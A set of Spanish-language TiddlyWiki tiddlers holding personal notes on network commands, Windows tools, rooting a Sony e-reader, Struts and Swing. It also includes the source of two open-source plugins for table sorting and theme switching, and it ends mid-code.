/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Software para gestión y uso de redes en entornos [[*NIX]]
</part>
! Enlaces
<part enlaces>
!! Administración
!!! Gestión de las interfaces
* ''ifconfig:'' Gestión de las interfaces de red. Permite activarlas, desactivarlas, darles una ip, etc.
** Ver información de las interfaces: {{{ifconfig}}}
** Ver la información de la interfaz ethernet: {{{ifconfig eth0}}}
** Levantar una interfaz y asignarle una IP: {{{ifconfig eth0 192.168.1.2}}}
** Desactivar una interfaz: {{{ifconfig eth0 down}}}

* ''ifup:'' Activa una interfaz de red. Propio de entornos Debian/Ubuntu

* ''ifdown:'' Desactiva una interfaz de red. Propio de entornos Debian/Ubuntu

!!! Información del estado de la red
* ''ping:'' Envía y recibe paquetes ICMP ECHO para comprobar el estado de la red.
** Enviar 4 paquetes echo a un host: {{{ping -c 4 192.168.1.1}}}

!! Clientes

!! Servidores

!! Referencias
* http://howtonetworks.net/linux-ip-commands
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Descripcion de la sección
</part>
! Enlaces
<part enlaces>
!! Mantenimiento SO
* Instalador de actualizaciones offline: http://www.cyberhades.com/2011/01/19/actualiza-windows-y-office-sin-internet
* Particionamiento de discos para windows: http://www.partitionwizard.com/free-partition-manager.html

!! Wikis y cuadernos de notas
* Wikipad (offline): http://wikidpad.sourceforge.net/

!! Miscelánea
* GoogleCL: http://code.google.com/p/googlecl/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Software disponible sólo para sistemas Windows. Se entiende que la mayor parte de programas aquí recogidos serán de administración de Windows, personalizadores, tuneadores, etc.
</part>
! Enlaces
<part enlaces>
!! Configuración avanzada
* D7: http://www.cyberhades.com/2011/09/28/tuneando-windows-con-d7/
* Sysadmin Everywhere: http://www.cyberhades.com/2011/10/24/sysadmin-anywhere-un-completo-gestor-del-directorio-activo-gratuito/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Descripción de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: https://en.wikipedia.org/wiki/Sony_Reader#PRS-T1
* Página oficial: http://www.sony.es/product/rd-reader-ebook/prs-t1
* Foro sobre el lector: http://www.lectoreselectronicos.com/forumdisplay.php?68-Sony-Reader-T1
* Noticias sobre PRS-T1: http://blog.the-ebook-reader.com/tag/sony-prs-t1/
* Info en foro ruso: http://t1-reader.ru/en/reference/reviews.html

!! Hack
!!! Root
* Cómo rootear el dispositivo y unos cuantos hacks más: http://wiki.mobileread.com/wiki/PRST1_Rooting_and_Tweaks
* Guía paso a paso de como rootear: http://www.mobileread.com/forums/showpost.php?p=2147654&postcount=1
* Cómo rootear el dispositivo (ruso traducido): http://translate.google.com/translate?hl=en&rurl=translate.google.com&sl=ru&u=http://www.the-ebook.org/forum/viewtopic.php%3Ft%3D21458
* Firmware personalizado: http://sonyfmngr.sourceforge.net/prsT1.htm

!!! Aplicaciones
* Cómo instalarle el market: http://wiki.mobileread.com/wiki/PRST1_Rooting_and_Tweaks#Android_Market_Procedure
* Aplicaciones para readers: http://ebookapplications.com/
* Listado de aplicaciones soportadas: http://www.lectoreselectronicos.com/showthread.php?10870-Aplicaciones-%28app-s%29-Android-para-PRS-T1
* Extenso listado de aplicaciones que funcionan el en PRS-T1: http://wiki.mobileread.com/wiki/PRST1_working_apps

!!! Tweaks y ajustes
* Tweaks para dispositivos no rooteados: http://wiki.mobileread.com/wiki/PRST1_Rooting_and_Tweaks#Tweaks_for_Non-Rooted_Devices
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|''Name:''|SortableGridPlugin|
|''Description:''|Provide live sorting of tables by column|
|''Date:''|Sep. 29, 2007|
|''Source:''|[[SortableGridPlugin|http://rumkin.com/tools/tiddlywiki/#SortableGridPlugin]]|
|''Author:''|Stuart Langridge, Demian Johnson, Bob Denny|
|''License:''|See Below|
|''Version:''|1.1.3|
|''~CoreVersion:''|2.0.11, 2.1.x and newer|
|''Browser:''|Firefox 1.5/2.0; Internet Explorer 6.0/7.0; Safari|
!!Description
@@Only minor changes by Tyler to make it work with TiddlyWiki 2.2.x and newer@@

This plugin provides live sorting of tables by clicking on a column header. To sort in reverse, click the same column header a second time. An arrow in the sort column shows the direction of sorting. 

It works by trying to automatically detect the type of data in a column, then sorting by the rules for that data type. Note that the data in the first row (before sorting for the first time) is used for type detection, so if other data types exist in the column below the first row, the results will be unpredictable. If it //can// recognize the string as prticular type it //will// sort that column by that type. Moral: keep all of your data in a column the same type. The following data types are checked in the order shown (in other words the table shows the precedence of type detection):

|!Type |!Description|
|Date|Various formats for dates, specifically any string format that can be converted to a date/time by Javascript's Date.Parse() method.|
|Currency|Any string beginning with $, £, or € followed by a numeric string (except no leading sign). Note that it does not do currency conversion, the raw currency values are sorted numerically. {{{/^[$|£|€]{1}\d*\.{0,1}\d+$/}}}|
|Numeric|Data must consist purely of digits, optional leading plus or minus sign, a single period. Javascript cannot handle the Continental virgule (comma decimal point). {{{/^[\+|\-]{0,1}\d*\.{0,1}\d+$/}}}|
|File Size|Numeric string (except no leading sign) with b, Kb, Mb, or Gb at the end. Sorts according to the actual value represented by the notation. {{{/^\d*\.{0,1}\d+[K|M|G]{0,1}b$}}}|
|Text|Anything that does not match the formats listed below. Text is sorted without regard to character case.|
!!Installation
Follow the usual procedure for installing a plugin: Edit this tiddler, copy, paste into a new tiddler in your TW, and tag it systemConfig. Close, Save, and Shift-Reload  your TW's page. The table below (in Example) should have hot column headers and be sortable.
!!Usage
To make a table sortable, append an {{{h}}} to the end of the first row. If the table is thus marked as sortable, the formatter will add a CSS class {{{sortable}}} to the generated {{{<table>}}} element. Thus you can use CSS to alter the appearance of the sortable table and/or its elements.
!!Example
|Name |Salary |Extension |Performance |File Size |Start date |h
|Bloggs, Fred |$12000.00 |1353 |+1.2 |74.2Kb |Aug 19, 2003 21:34:00 |
|Bloggs, Fred |$12000.00 |1353 |1.2 |3350b |09/18/2003 |
|Bloggs, Fred |$12000 |1353 |1.200 |55.2Kb |August 18, 2003 |
|Bloggs, Fred |$12000.00 |1353 |1.2 |2100b |07/18/2003 |
|Bloggs, Fred |$12000.00 |1353 |01.20 |6.156Mb |08/17/2003 05:43 |
|Turvey, Kevin |$191200.00 |2342 |-33 |1b |02/05/1979 |
|Mbogo, Arnold |$32010.12 |2755 |-21.673 |1.2Gb |09/08/1998 |
|Shakespeare, Bill |£122000.00|3211 |6 |33.22Gb |12/11/1961 |
|Shakespeare, Hamlet |£9000 |9005 |-8 |3Gb |01/01/2002 |
|Fitz, Marvin |€3300.30 |5554 |+5 |4Kb |05/22/1995 |
!!Revision History
<<<
''2003.11.?? [?.?.?]'' Stuart Langridge (http://www.kryogenix.org/code/browser/sorttable/) - Core code for DHTML sortable tables. Copyright and license for his code has been carried forward and applies to subsequent additions.
''2006.02.14 [1.0.0]'' Demian Johnson - Initial release, adaptation of Langridge code to TiddlyWiki.
''2006.09.29 [1.1.0]'' Bob Denny - Add standard-format plugin documentation, reformat and tabify code for readability, refactor references to plugin, add new "file size" detection and sorting, add sterling and euro to currency detection, allow any real numbers including optional sign and either period or comma for decimal point for numeric sorting, make RegExp matching strict for currency and numeric, clean up lint warnings, correct spelling of Hamlet's name.
''2006.10.19 [1.1.1]'' Bob Denny - Allow use with TW 2.1.1 and 2.1.2, hijack is identical with 2.1.0.
''2006.11.04 [1.1.2]'' Bob Denny - Oh hell, accept 2.1.x, bit again by 2.1.3 which was OK.
<<<
!!Code
***/
//{{{
//
// Begin SORTABLE.JS
// This Code is:
// Code downloaded from the Browser Experiments section of kryogenix.org is 
// licenced under the so-called MIT licence. The license is below.
// ----------------------------------------
// Copyright (c) 1997-date Stuart Langridge
// ----------------------------------------
// Permission is hereby granted, free of charge, to any person obtaining a copy of this 
// software and associated documentation files (the "Software"), to deal in the Software 
// without restriction, including without limitation the rights to use, copy, modify, merge, 
// publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons 
// to whom the Software is furnished to do so, subject to the following conditions:
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, 
// INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR 
// PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE 
// FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR 
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 
// DEALINGS IN THE SOFTWARE.
//
// Modified under the same aforementioned terms by Demian Johnston, 2006
// Further modified under the same aforementioned terms by Bob Denny, 2006: 
//	1. Add flexible date/time 
//	2. Use 'this' instead of full dotted names 
//	3. Re-indent and tabify after being munged by TW/IE bu
//	4. Add "file size" sensing and sorting. Validate with Javascript Lint
// Modified under the same aforementioned terms by Tyler Akins, 2007
//	Works work with TiddlyWiki 2.2.x
//
version.extensions.PersistentForm = {
	major: 1, minor: 1, revision: 3,
	date: new Date(2007, 9, 29), 
	type: 'extension',
	source: "http://rumkin.com/tools/tiddlywiki/#SortableGridPlugin"
};
//}}}

//{{{
config.macros.sortableGridPlugin = { SORT_COLUMN_INDEX: 0 };

config.macros.sortableGridPlugin.ts_makeSortable = function(table) 
{
	var firstRow;
	if (table.rows && table.rows.length > 0) {
		firstRow = table.rows[0];
	}
	if (!firstRow) return;
    
	// We have a first row: assume it's the header, and make its contents clickable links
	for (var i=0;i<firstRow.cells.length;i++) {
		var cell = firstRow.cells[i];
		var txt = config.macros.sortableGridPlugin.ts_getInnerText(cell);
		cell.innerHTML = '<a href="#" class="sortheader" onclick="config.macros.sortableGridPlugin.ts_resortTable(this);return false;">' +
						txt + '<span class="sortarrow">&nbsp;&nbsp;&nbsp;</span></a>';
	}
};
//}}}

//{{{
config.macros.sortableGridPlugin.ts_getInnerText = function(el) 
{
	if (typeof el == "string") return el;
	if (typeof el == "undefined") { return el; }
	if (el.innerText) return el.innerText; //Not needed but it is faster
	var str = "";
	var cs = el.childNodes;
	var l = cs.length;
	for (var i = 0; i < l; i++) {
		switch (cs[i].nodeType) 
		{
			case 1: 										//ELEMENT_NODE
				str += config.macros.sortableGridPlugin.ts_getInnerText(cs[i]);
				break;
			case 3: 										//TEXT_NODE
				str += cs[i].nodeValue;
				break;
		}
	}
	return str;
};

config.macros.sortableGridPlugin.getParent = function(el, pTagName) 
{
	if (el === null) 
		return null;
	else if (el.nodeType == 1 && el.tagName.toLowerCase() == pTagName.toLowerCase()) // Gecko bug, supposed to be uppercase
		return el;
	else
		return config.macros.sortableGridPlugin.getParent(el.parentNode, pTagName);
};
//}}}

//{{{
config.macros.sortableGridPlugin.ts_resortTable = function(lnk) 
{
	var M = config.macros.sortableGridPlugin;
	// get the span
	var span;
	for (var ci = 0; ci < lnk.childNodes.length; ci++) {
	if (lnk.childNodes[ci].tagName && lnk.childNodes[ci].tagName.toLowerCase() == 'span') 
		span = lnk.childNodes[ci];
	}
	var td = lnk.parentNode;
	var column = td.cellIndex;
	var table = M.getParent(td,'TABLE');
    
	// Work out a type for the column
	if (table.rows.length <= 1) return;
	var itm = M.ts_getInnerText(table.rows[1].cells[column]);
	var sortfn = M.ts_sort_caseinsensitive;
	if(!isNaN(Date.parse(itm)))
		sortfn = M.ts_sort_date;
	else if(itm.match(/^[$|£|€]{1}\d*\.{0,1}\d+$/)) 
		sortfn = M.ts_sort_currency;
	else if(itm.match(/^[\+|\-]{0,1}\d*\.{0,1}\d+$/)) 
		sortfn = M.ts_sort_numeric;
	else if(itm.match(/^\d*\.{0,1}\d+[K|M|G]{0,1}b$/))
		sortfn = M.ts_sort_fileSize;
	M.SORT_COLUMN_INDEX = column;
	var firstRow = new Array();
	var newRows = new Array();
	for (var i = 0; i < table.rows[0].length; i++) { firstRow[i] = table.rows[0][i]; }
	for (var j = 1; j < table.rows.length; j++) { newRows[j-1] = table.rows[j]; }
    
	newRows.sort(sortfn);
	var ARROW;
	if (span.getAttribute("sortdir") == 'down') {
		ARROW = '&nbsp;&nbsp;&uarr;';
		newRows.reverse();
		span.setAttribute('sortdir','up');
	} else {
		ARROW = '&nbsp;&nbsp;&darr;';
		span.setAttribute('sortdir','down');
	}
    
	// We appendChild rows that already exist to the tbody, so it moves them 
	// rather than creating new ones. Don't do sortbottom rows
	for ( i=0;i<newRows.length;i++) { 
		if (!newRows[i].className || (newRows[i].className && (newRows[i].className.indexOf('sortbottom') == -1))) 
			table.tBodies[0].appendChild(newRows[i]);
	}
	// do sortbottom rows only
	for ( i=0;i<newRows.length;i++) { 
		if (newRows[i].className && (newRows[i].className.indexOf('sortbottom') != -1)) 
			table.tBodies[0].appendChild(newRows[i]);
	}
    
	// Delete any other arrows there may be showing
	var allspans = document.getElementsByTagName("span");
	for ( ci=0;ci<allspans.length;ci++) {
		if (allspans[ci].className == 'sortarrow') {
			if (M.getParent(allspans[ci],"table") == M.getParent(lnk,"table")) { // in the same table as us?
				allspans[ci].innerHTML = '&nbsp;&nbsp;&nbsp;';
			}
		}
	}
    
	span.innerHTML = ARROW;
};
//}}}

//{{{
config.macros.sortableGridPlugin.ts_sort_fileSize = function(a, b) 
{
	var M = config.macros.sortableGridPlugin;
	var convert = function(str)
	{
		var val;
		var i;
		if((i = str.indexOf("Kb")) != -1)
			val = 1024.0 * str.substr(0, i);
		else if((i = str.indexOf("Mb")) != -1)
			val = 1048576.0 * str.substr(0, i);
		else if((i = str.indexOf("Gb")) != -1)
			val = 1073741824.0 * str.substr(0, i);
		else
			val = 1.0 * str.substr(0, str.length - 1);
		return val;
	};
    
	var aa = M.ts_getInnerText(a.cells[M.SORT_COLUMN_INDEX]);
	var bb = M.ts_getInnerText(b.cells[M.SORT_COLUMN_INDEX]);
	var v1 = convert(aa);
	var v2 = convert(bb);
	if(v1 == v2) return 0;
	if(v1 < v2) return -1;
	return 1;
};

config.macros.sortableGridPlugin.ts_sort_date = function(a, b) 
{
	var M = config.macros.sortableGridPlugin;
	// Handles dates per the rules of Date.parse()
	var aa = M.ts_getInnerText(a.cells[M.SORT_COLUMN_INDEX]);
	var bb = M.ts_getInnerText(b.cells[M.SORT_COLUMN_INDEX]);
	var dt1 = Date.parse(aa);
	var dt2 = Date.parse(bb);
	if (dt1 == dt2) return 0;
	if (dt1 < dt2) return -1;
	return 1;
};

config.macros.sortableGridPlugin.ts_sort_currency = function(a, b) 
{ 
	var M = config.macros.sortableGridPlugin;
	var aa = M.ts_getInnerText(a.cells[M.SORT_COLUMN_INDEX]).replace(/[^0-9.]/g,'');
	var bb = M.ts_getInnerText(b.cells[M.SORT_COLUMN_INDEX]).replace(/[^0-9.]/g,'');
	return parseFloat(aa) - parseFloat(bb);
};

config.macros.sortableGridPlugin.ts_sort_numeric = function(a, b) 
{ 
	var M = config.macros.sortableGridPlugin;
	var aa = parseFloat(M.ts_getInnerText(a.cells[M.SORT_COLUMN_INDEX]));
	if (isNaN(aa)) aa = 0;
	var bb = parseFloat(M.ts_getInnerText(b.cells[M.SORT_COLUMN_INDEX])); 
	if (isNaN(bb)) bb = 0;
	return aa-bb;
};

config.macros.sortableGridPlugin.ts_sort_caseinsensitive = function(a, b) 
{
	var M = config.macros.sortableGridPlugin;
	var aa = M.ts_getInnerText(a.cells[M.SORT_COLUMN_INDEX]).toLowerCase();
	var bb = M.ts_getInnerText(b.cells[M.SORT_COLUMN_INDEX]).toLowerCase();
	if (aa == bb) return 0;
	if (aa < bb) return -1;
	return 1;
};

//}}}

//{{{
// end Code downloaded from the Browser Experiments section of kryogenix.org
// end Copyright (c) 1997-date Stuart Langridge//
// END SORTABLE.JS//
//}}}

//{{{
//
//
// CORE HIJACK WARNINGS: 
//	(1) Depends on the table formatter being first in the config.formatters array
//	(2) Version-specifics - test on your version before adding to the logic here!
//
if(version.major == 2 && version.minor === 0 && version.revision == 11)
{
	config.formatters[0].handler = function(w)
	{
		var table = createTiddlyElement(w.output,"table");
		w.nextMatch = w.matchStart;
		var lookaheadRegExp = new RegExp(this.lookahead,"mg");
		var currRowType = null, nextRowType;
		var rowContainer, rowElement;
		var prevColumns = [];
		var rowCount = 0;
		var want_sortable=0;
		do {
			lookaheadRegExp.lastIndex = w.nextMatch;
			var lookaheadMatch = lookaheadRegExp.exec(w.source);
			var matched = lookaheadMatch && lookaheadMatch.index == w.nextMatch;
			if(matched)
			{
				nextRowType = lookaheadMatch[2];
				if(nextRowType != currRowType)
				rowContainer = createTiddlyElement(table,this.rowTypes[nextRowType]);
				currRowType = nextRowType;
				if(currRowType == "c")
				{
					if(rowCount === 0)
						rowContainer.setAttribute("align","top");
					else
						rowContainer.setAttribute("align","bottom");
					w.nextMatch = w.nextMatch + 1;
					w.subWikify(rowContainer,this.rowTerminator);
					table.insertBefore(rowContainer,table.firstChild);
				}
				else
				{
					var rowClass = (rowCount & 1) ? "oddRow" : "evenRow";
					rowElement = createTiddlyElement(rowContainer,"tr",null,rowClass);
					this.rowHandler(w,rowElement,prevColumns);
				}
				if(currRowType == "h") {
					want_sortable=1;
				}
				rowCount++;
			}
		} while(matched);
		if (want_sortable) {
			table.setAttribute("class","sortable");
			config.macros.sortableGridPlugin.ts_makeSortable(table);
		}
	};
} 
else if(version.major == 2 && (version.minor > 0))
{
	config.formatters[0].handler = function(w)
	{
		var table = createTiddlyElement(w.output,"table");
		var prevColumns = [];
		var currRowType = null;
		var rowContainer;
		var rowCount = 0;
		var want_sortable = 0;
	    
		w.nextMatch = w.matchStart;
		this.lookaheadRegExp.lastIndex = w.nextMatch;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		while(lookaheadMatch && lookaheadMatch.index == w.nextMatch)
		{
			var nextRowType = lookaheadMatch[2];
			if(nextRowType == "k")
			{
				table.className = lookaheadMatch[1];
				w.nextMatch += lookaheadMatch[0].length+1;
			}
			else
			{
				if(nextRowType != currRowType)
				{
					rowContainer = createTiddlyElement(table,this.rowTypes[nextRowType]);
					currRowType = nextRowType;
				}
				if(currRowType == "c")
				{
					// Caption
					w.nextMatch++;
					if(rowContainer != table.firstChild)
						table.insertBefore(rowContainer,table.firstChild);
					rowContainer.setAttribute("align",rowCount === 0?"top":"bottom");
					w.subWikifyTerm(rowContainer,this.rowTermRegExp);
				}
				else
				{
					this.rowHandler(w,createTiddlyElement(rowContainer,"tr",null,(rowCount&1)?"oddRow":"evenRow"),prevColumns);
					if(currRowType == "h")	want_sortable = 1;
					rowCount++;
				}
			}
			this.lookaheadRegExp.lastIndex = w.nextMatch;
			lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		}
		if (want_sortable) {
			table.setAttribute("class","sortable");
			config.macros.sortableGridPlugin.ts_makeSortable(table);
		}
	};
}
else
	alert("SortableGridPlugin works only with TiddlyWiki 2.0.11, 2.1.x or newer");
    
//}}}
!Descripción
<part descripcion>
Struts es un framework para aplicaciones web en Java que extiende el sistema de Servlet, añade etiquetas adicionales y permite una gestión más sencillas de los formularios mediante el uso de ActionForms.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
** Manual: http://struts.apache.org/1.2.x/userGuide/struts-html.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Taglibs habituales ^^[[<editar>|$1]]^^
Taglibs más utilizadas de Struts
<code xml>
<%@ taglib uri="http://displaytag.sf.net" prefix="display" %>
<%@ taglib uri="http://struts.apache.org/tags-html" prefix="html"%>
<%@ taglib uri="http://struts.apache.org/tags-bean" prefix="bean" %>
<%@ taglib uri="http://struts.apache.org/tags-logic" prefix="logic"%>
<%@ taglib uri="http://struts.apache.org/tags-tiles" prefix="tiles" %>
<%@ taglib uri="http://jsptags.com/tags/navigation/pager" prefix="pg" %>
</code>
!!ActionForm y formularios ^^[[<editar>|$1]]^^
Struts refleja automáticamente el valor de los campos de un formulario sobre los atributos de una clase ActionForm. No obstante, hay que tener en cuenta que si en un ActionForm hay definido un atributo, pero luego en el JSP no se almacena ni siquiera en un {{{<html:hidden />}}}, el valor del atributo se perderá.

Siempre hay que usar todas las propiedades del ActionForm
/*{{{*/
[[StyleSheetSyntaxHighlighter]]

.HideSideBarButton {float:right;} 

#disqus_thread {float:left;}

/*}}}*/
/***
StyleSheet for ~SyntaxHighlighter
***/

/*{{{*/
.dp-highlighter
{
	font-family: "Consolas", "Courier New", Courier, mono, serif;
	font-size: 12px;
	background-color: #E7E5DC;
	width: 99%;
	overflow: auto;
	margin: 18px 0 18px 0 !important;
	padding-top: 1px; /* adds a little border on top when controls are hidden */
}

/* clear styles */
.dp-highlighter ol,
.dp-highlighter ol li,
.dp-highlighter ol li span 
{
	margin: 0;
	padding: 0;
	border: none;
}

.dp-highlighter a,
.dp-highlighter a:hover
{
	background: none;
	border: none;
	padding: 0;
	margin: 0;
}

.dp-highlighter .bar
{
	padding-left: 45px;
}

.dp-highlighter.collapsed .bar,
.dp-highlighter.nogutter .bar
{
	padding-left: 0px;
}

.dp-highlighter ol
{
	list-style: decimal; /* for ie */
	background-color: #fff;
	margin: 0px 0px 1px 45px !important; /* 1px bottom margin seems to fix occasional Firefox scrolling */
	padding: 0px;
	color: #5C5C5C;
}

.dp-highlighter.nogutter ol,
.dp-highlighter.nogutter ol li
{
	list-style: none !important;
	margin-left: 0px !important;
}

.dp-highlighter ol li,
.dp-highlighter .columns div
{
	list-style: decimal-leading-zero; /* better look for others, override cascade from OL */
	list-style-position: outside !important;
	border-left: 3px solid #6CE26C;
	background-color: #F8F8F8;
	color: #5C5C5C;
	padding: 0 3px 0 10px !important;
	margin: 0 !important;
	line-height: 14px;
}

.dp-highlighter.nogutter ol li,
.dp-highlighter.nogutter .columns div
{
	border: 0;
}

.dp-highlighter .columns
{
	background-color: #F8F8F8;
	color: gray;
	overflow: hidden;
	width: 100%;
}

.dp-highlighter .columns div
{
	padding-bottom: 5px;
}

.dp-highlighter ol li.alt
{
	background-color: #FFF;
	color: inherit;
}

.dp-highlighter ol li span
{
	color: black;
	background-color: inherit;
}

/* Adjust some properties when collapsed */

.dp-highlighter.collapsed ol
{
	margin: 0px;
}

.dp-highlighter.collapsed ol li
{
	display: none;
}

/* Additional modifications when in print-view */

.dp-highlighter.printing
{
	border: none;
}

.dp-highlighter.printing .tools
{
	display: none !important;
}

.dp-highlighter.printing li
{
	display: list-item !important;
}

/* Styles for the tools */

.dp-highlighter .tools
{
	padding: 3px 8px 3px 10px;
	font: 9px Verdana, Geneva, Arial, Helvetica, sans-serif;
	color: silver;
	background-color: #f8f8f8;
	padding-bottom: 10px;
	border-left: 3px solid #6CE26C;
}

.dp-highlighter.nogutter .tools
{
	border-left: 0;
}

.dp-highlighter.collapsed .tools
{
	border-bottom: 0;
}

.dp-highlighter .tools a
{
	font-size: 9px;
	color: #a0a0a0;
	background-color: inherit;
	text-decoration: none;
	margin-right: 10px;
}

.dp-highlighter .tools a:hover
{
	color: red;
	background-color: inherit;
	text-decoration: underline;
}

/* About dialog styles */

.dp-about { background-color: #fff; color: #333; margin: 0px; padding: 0px; }
.dp-about table { width: 100%; height: 100%; font-size: 11px; font-family: Tahoma, Verdana, Arial, sans-serif !important; }
.dp-about td { padding: 10px; vertical-align: top; }
.dp-about .copy { border-bottom: 1px solid #ACA899; height: 95%; }
.dp-about .title { color: red; background-color: inherit; font-weight: bold; }
.dp-about .para { margin: 0 0 4px 0; }
.dp-about .footer { background-color: #ECEADB; color: #333; border-top: 1px solid #fff; text-align: right; }
.dp-about .close { font-size: 11px; font-family: Tahoma, Verdana, Arial, sans-serif !important; background-color: #ECEADB; color: #333; width: 60px; height: 22px; }

/* Language specific styles */

.dp-highlighter .comment, .dp-highlighter .comments { color: #008200; background-color: inherit; }
.dp-highlighter .string { color: blue; background-color: inherit; }
.dp-highlighter .keyword { color: #069; font-weight: bold; background-color: inherit; }
.dp-highlighter .preprocessor { color: gray; background-color: inherit; }

/*}}}*/
!Descripción
<part descripcion>
Información sobre las librerías de GUI estandar de [[Java]] Swing y AWT.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia sobre Swing: http://es.wikipedia.org/wiki/Swing_(biblioteca_gr%C3%A1fica)
** Artículo de la Wikipedia sobre AWT: http://es.wikipedia.org/wiki/Abstract_Window_Toolkit
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name|SwitchThemePlugin|
|Source|http://www.TiddlyTools.com/#SwitchThemePlugin|
|Documentation|http://www.TiddlyTools.com/#SwitchThemePluginInfo|
|Version|5.4.1|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.3|
|Type|plugin|
|Description|Select alternative TiddlyWiki template/stylesheet 'themes' from a droplist|
!!!!!Documentation
>see [[SwitchThemePluginInfo]]
!!!!!Configuration
<<<
Current theme:<<switchTheme width:auto>>
<<option chkRandomTheme>> select a random theme at startup
//Note: to prevent a given theme from being chosen at random, tag it with <<tag excludeTheme>>//
<<<
!!!!!Installation Note
>As of 4/13/2008, a "core patch" function that provides backward-compatibility with TW2.3.x has been split into a separate tiddler, [[SwitchThemePluginPatch]], to reduce installation overhead for //this// plugin.  ''You should only install the patch tiddler when using this plugin in documents based on a core version prior to TW2.4.0''
!!!!!Revisions
<<<
2009.10.01 [5.4.1] changed 'noRandom' tag to 'excludeTheme' and recognize 'excludeLists' tag
| Please see [[SwitchThemePluginInfo]] for previous revision details |
2008.01.22 [5.0.0] Completely re-written and renamed from [[SelectStylesheetPlugin]] (now retired)
//history for retired SelectStylesheetPlugin omitted//
2005.07.20 [1.0.0] initial release (as SelectStylesheetPlugin)
<<<
!!!!!Code
***/
//{{{
version.extensions.SwitchThemePlugin= {major: 5, minor: 4, revision: 1, date: new Date(2009,10,1)};

config.macros.switchTheme = {
	handler: function(place,macroName,params) {
		setStylesheet(".switchTheme {width:100%;font-size:8pt;margin:0em}","switchThemePlugin");
		if (params[0] && (params[0].substr(0,6)=="width:"))	var width=(params.shift()).substr(6);
		if (params[0] && (params[0].substr(0,6)=="label:"))	var label=(params.shift()).substr(6);
		if (params[0] && (params[0].substr(0,7)=="prompt:"))	var prompt=(params.shift()).substr(7);
		if (params[0] && params[0].trim().length) // create a link that sets a specific theme
			createTiddlyButton(place,label?label:params[0],prompt?prompt:params[0],
				function(){ config.macros.switchTheme.set(params[0]); return false;});
		else { // create a select list of available themes
			var theList=createTiddlyElement(place,"select",null,"switchTheme",null);
			theList.size=1;
			if (width) theList.style.width=width;
			theList.onchange=function() { config.macros.switchTheme.set(this.value); return true; };
			this.refresh(theList);
		}
	},
	refresh: function(list) {
		var indent = String.fromCharCode(160)+String.fromCharCode(160);
		while(list.length > 0){list.options[0]=null;} // clear list
		list.options[list.length] = new Option("select a theme:","",true,true);
		list.options[list.length] = new Option(indent+"[default]","StyleSheet");
		list.options[list.length] = new Option(indent+"[random]","*");
		var themes=store.getTaggedTiddlers("systemTheme");
		for (var i=0; i<themes.length; i++)
			if (themes[i].title!="StyleSheet" && !themes[i].isTagged('excludeLists'))
				list.options[list.length]=new Option(indent+themes[i].title,themes[i].title);
		// show current selection
		for (var t=0; t<list.options.length; t++)
			if (list.options[t].value==config.options.txtTheme)
				{ list.selectedIndex=t; break; }
	},
	set: function(theme) {
		if (!theme||!theme.trim().length) return;
		if (theme=="*") { // select a random theme (except themes with "excludeTheme")
			var curr=config.options.txtTheme;
			var themes=store.getTaggedTiddlers("systemTheme");
			if (!themes.length) return false;
			var which=Math.floor(Math.random()*themes.length);
			while (themes[which].title==curr
				||themes[which].tags.contains('excludeTheme','excludeLists'))
					which=Math.floor(Math.random()*themes.length);
			theme=themes[which].title;
		}
		// apply selected theme
		story.switchTheme(theme);
		// sync theme droplists
		var elems=document.getElementsByTagName("select");
		var lists=[]; for (var i=0; i<elems.length; i++)
			if (hasClass(elems[i],"switchTheme")) lists.push(elems[i]);
		for (var k=0; k<lists.length; k++)
			for (var t=0; t<lists[k].options.length; t++)
				if (lists[k].options[t].value==config.options.txtTheme)
					{ lists[k].selectedIndex=t; break; }
		return;
	}
}
//}}}
// // option to select a random theme at startup (if enabled)
//{{{
if (config.options.chkRandomTheme===undefined)
	config.options.chkRandomTheme=false;
if (config.options.chkRandomTheme)
	config.macros.switchTheme.set("*");
//}}}
// // hijack switchTheme to add Check/Init/Reset code handlers
//{{{
if (Story.prototype.switchTheme_saved===undefined) { // only once
Story.prototype.switchTheme_saved=Story.prototype.switchTheme;
Story.prototype.switchTheme=function(t){
	function run(t,s){
		var f=store.getTiddlerText(store.getTiddlerSlice(t,s));
		return f?eval('(function(){\n'+f+'\n})()'):false;
	}
	if (!startingUp && (run(config.options.txtTheme,'Reset')||run(t,'Check'))) return;
	this.switchTheme_saved.apply(this,arguments);
